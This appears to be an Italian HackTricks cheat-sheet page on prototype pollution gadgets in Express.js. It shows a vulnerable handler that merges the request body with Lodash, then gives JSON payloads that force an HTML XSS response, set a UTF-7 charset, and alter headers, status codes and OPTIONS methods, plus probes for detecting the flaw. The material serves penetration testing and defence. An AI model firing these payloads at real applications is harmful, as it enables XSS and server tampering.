Express Prototype Pollution Gadgets

Impara l'hacking di AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale di WhiteIntel è combattere i sequestri di account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:


Servire risposte XSS

Per ulteriori dettagli dai un'occhiata alla ricerca originale

Cambiare il tipo di contenuto JSON in HTML

In un'app Express che utilizza una risposta con tipo di contenuto JSON e riflette un JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

In questi casi XSS non è normalmente possibile con un tipo di contenuto JSON. Tuttavia, con la pollution del prototipo possiamo confondere Express per servire una risposta HTML. Questa vulnerabilità si basa sull'applicazione che utilizza res.send(obj) e utilizza il parser del corpo con il tipo di contenuto application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Rendere UTF7

È possibile fare in modo che express renda il contenuto UTF-7 con:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Tecniche di Scansione Sicure

Spazi JSON

Il seguente PP farà sì che gli attributi all'interno di un JSON abbiano uno spazio extra che non romperà la funzionalità:

{"__proto__":{"json spaces": " "}}

Quindi un JSON riflesso sembrerà:

{"foo":  "bar"} -- Note the extra space

Intestazioni Esposte

Il seguente gadget PP farà sì che il server invii l'intestazione HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Richiede che il modulo CORS sia installato

Metodo OPTIONS

Con il seguente payload, è possibile nascondere un metodo da una risposta OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Stato

È possibile cambiare il codice di stato restituito utilizzando il seguente payload PP:

{"__proto__":{"status":510}}

Errore

Quando si assegna un prototipo con un tipo primitivo come una stringa, si produce una operazione no-op poiché il prototipo deve essere un oggetto. Se si tenta di assegnare un oggetto prototipo a Object.prototype stesso, questo genererà un'eccezione. Possiamo utilizzare questi due comportamenti per rilevare se la prototipizzazione è stata effettuata con successo:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Valore Riflesso

Quando un'applicazione include un oggetto nella sua risposta, creare un attributo con un nome insolito insieme a __proto__ può essere illuminante. In particolare, se viene restituito solo l'attributo insolito nella risposta, ciò potrebbe indicare la vulnerabilità dell'applicazione:

{"unusualName":"value","__proto__":"test"}

Inoltre, in scenari in cui viene utilizzata una libreria come Lodash, impostare una proprietà sia tramite inquinamento del prototipo (PP) che direttamente all'interno dell'oggetto offre un altro approccio diagnostico. Se tale proprietà viene omessa dalla risposta, ciò suggerisce che Lodash sta verificando l'esistenza della proprietà nell'oggetto di destinazione prima di unire:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Varie

Consentire i punti

C'è un'opzione in Express che ti permette di creare oggetti dai parametri della stringa di query. Potresti sicuramente usarlo in una catena di bug per sfruttare una vulnerabilità di inquinamento del prototipo.

{"__proto__":{"allowDots":true}}

?foo.bar=baz crea un oggetto in Node.

Riferimenti

WhiteIntel è un motore di ricerca alimentato dal dark web che offre funzionalità gratuite per verificare se un'azienda o i suoi clienti sono stati compromessi da malware ruba-informazioni.

Il loro obiettivo principale è contrastare le violazioni degli account e gli attacchi ransomware derivanti da malware che rubano informazioni.

Puoi visitare il loro sito web e provare il loro motore gratuitamente su:

Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Last updated